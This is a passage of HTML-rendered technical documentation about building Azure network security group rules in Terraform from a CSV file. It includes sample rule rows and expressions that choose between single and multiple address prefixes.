<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  direction</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                    =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">direction</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  access</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                       =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">access</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  protocol</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">protocol</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  source_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">      =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  source_port_range</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">            =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_port_range</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  destination_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  destination_port_ranges</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">      =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_port_ranges</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  network_security_group_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">  =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">network_security_group_name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  resource_group_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">          =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">resource_group_name</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  depends_on</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">azurerm_network_security_group</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">security_group</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Within the following 2 set of variables, the variables <code>prefix</code> and <code>prefixes</code> cannot both contains non-null values.</p>
<p>For convenience, the NSG rules can be set into a CSV file like this one :</p>
<div class="language-csv line-numbers-mode" data-highlighter="shiki" data-ext="csv" data-title="csv" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">nsg_name,</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">name,</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">priority,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">direction,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">access,</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">protocol,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">source_address_prefixes,</span><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B">source_port_range,</span><span style="--shiki-light:#24292E;--shiki-light-font-weight:bold;--shiki-dark:#D19A66;--shiki-dark-font-weight:inherit">destination_address_prefixes,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">destination_port_ranges</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">nsg001-rg001,</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">allow-bastion-to-subnet-Tcp,</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">2000,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">Inbound,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Allow,</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">Tcp,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.0.0.0/26,</span><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B">*,</span><span style="--shiki-light:#24292E;--shiki-light-font-weight:bold;--shiki-dark:#D19A66;--shiki-dark-font-weight:inherit">VirtualNetwork,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">22;3389</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">nsg002-rg001,</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">allow-http-to-subnet,</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">2001,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">Inbound,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Allow,</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">Tcp,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">*,</span><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B">*,</span><span style="--shiki-light:#24292E;--shiki-light-font-weight:bold;--shiki-dark:#D19A66;--shiki-dark-font-weight:inherit">10.1.1.0/24;10.2.2.0/24,</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">80</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>This CSV shape allows the operator to include either a CIDR, a tag or multiple CIDR if separated by a semicolon (<code>;</code>).</p>
<p>Considering the terraform code we have 2 chose to either fill the <code>prefix</code> or <code>prefixes</code> settings because the CSV file has only one parameter that can contains both allowed and disallowed values for <code>prefix</code> and <code>prefixes</code> parameters.</p>
<p>To do so, it is possible to check the length of the value passed by the CSV in order to define if the values is a set or not. To do so, the length can be checked.</p>
<p>The following code can be used for the <code>source_address_prefixes</code> and is similar for <code>destination_address_prefixes</code> :</p>
<div class="language-terraform line-numbers-mode" data-highlighter="shiki" data-ext="terraform" data-title="terraform" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ""</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>The following code can be used for the <code>source_address_prefix</code> and is similar for <code>destination_address_prefix</code> :</p>
<div class="language-terraform line-numbers-mode" data-highlighter="shiki" data-ext="terraform" data-title="terraform" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)])) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> []</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Translated into the previous code :</p>
<div class="language-terraform line-numbers-mode" data-highlighter="shiki" data-ext="terraform" data-title="terraform" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B">resource</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75"> "azurerm_network_security_rule"</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75"> "security_rule"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    for_each</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> { </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> var</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">list_nsg_rules</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">name</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                         =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    priority</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">priority</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    direction</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                    =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">direction</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    access</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                       =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">access</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    protocol</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">protocol</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    source_address_prefix</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">        =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> tostring</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    source_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">      =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)])) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    source_port_range</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">            =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_port_range</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    destination_port_ranges</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">      =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_port_ranges</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "*"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"0-65535"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_port_ranges</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ""</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span 